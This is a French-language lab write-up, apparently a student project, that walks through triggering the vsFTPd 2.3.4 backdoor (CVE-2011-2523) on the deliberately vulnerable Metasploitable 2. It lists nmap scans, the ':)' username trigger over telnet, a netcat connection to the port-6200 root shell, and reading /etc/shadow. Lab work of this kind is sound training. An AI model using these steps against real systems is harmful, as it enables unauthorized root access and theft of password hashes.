
Projet : exploitation de la porte dérobée de vsFTPd 2.3.4 (CVE-2011-2523) sur Metasploitable 2
Ce projet illustre un workflow de test de pénétration contre une machine délibérément vulnérable, Metasploitable 2. L'objectif était d'identifier, d'exploiter et d'analyser une vulnérabilité connue du service FTP, en obtenant finalement un accès root et en évaluant l'impact sécuritaire.
192.168.56.0/24)Vérification du système cible et de sa configuration réseau :
whoami
hostname
ifconfig

Confirmation de la connectivité réseau entre l'attaquant et la cible :
ping 192.168.56.101

vsFTPd 2.3.4)Réalisation de la découverte d'hôtes :
nmap -sn 192.168.56.0/24
Identification des hôtes actifs sur le réseau.

nmap 192.168.56.101
Découverte de plusieurs ports ouverts, dont :

nmap -sV 192.168.56.101
Identification du service FTP en cours d'exécution :
vsFTPd 2.3.4
Un scan complet des services et des scripts est inclus dans les fichiers d'accompagnement : Sortie du scan Nmap.

Le service FTP exécutait une version vulnérable connue :
vsFTPd 2.3.4
Cette version de vsFTPd a été distribuée avec une porte dérobée malveillante qui se déclenche lorsqu'un nom d'utilisateur contenant :) est utilisé lors de l'authentification.
Une fois activée, le service ouvre un shell lié (bind shell) sur le port 6200, permettant un accès distant non autorisé.
Déclenchement de la porte dérobée via Telnet :
telnet 192.168.56.101 21
USER test:)
PASS test

Connexion à la porte dérobée via Netcat :
nc 192.168.56.101 6200

whoami
root
Accès root obtenu avec succès

Après avoir obtenu l'accès root, un inventaire de base du système a été réalisé :
cat /etc/passwd
cat /etc/shadow
/etc/shadow

Ce laboratoire montre comment un seul service vulnérable peut conduire à une compromission totale du système. Il souligne l'importance d'une configuration correcte des services, de la gestion des correctifs et de la minimisation des surfaces d'attaque exposées.
C'était la première fois que j'exploitais manuellement une porte dérobée réelle. J'ai appris comment une simple chaîne de nom d'utilisateur malveillante (:)) peut déclencher un accès root, ce qui a renforcé l'importance de l'énumération des services et de la détection de versions lors de la reconnaissance. Je me suis également familiarisé avec des commandes basiques de post-exploitation sous Linux, comme la lecture de /etc/shadow et la compréhension de l'apparence réelle des identifiants hachés.
Il s'agissait d'un environnement de laboratoire contrôlé utilisant Metasploitable 2, une machine délibérément vulnérable. La porte dérobée de vsFTPd 2.3.4 est un CVE connu (CVE-2011-2523) datant de 2011, ce qui ne reflète pas un engagement réel moderne. Dans un test réel, des étapes supplémentaires comme l'évasion, le contournement de la journalisation ou le pivotement seraient nécessaires. Ce projet s'est concentré sur la compréhension des mécanismes fondamentaux de l'exploit, et non sur un test de pénétration complet.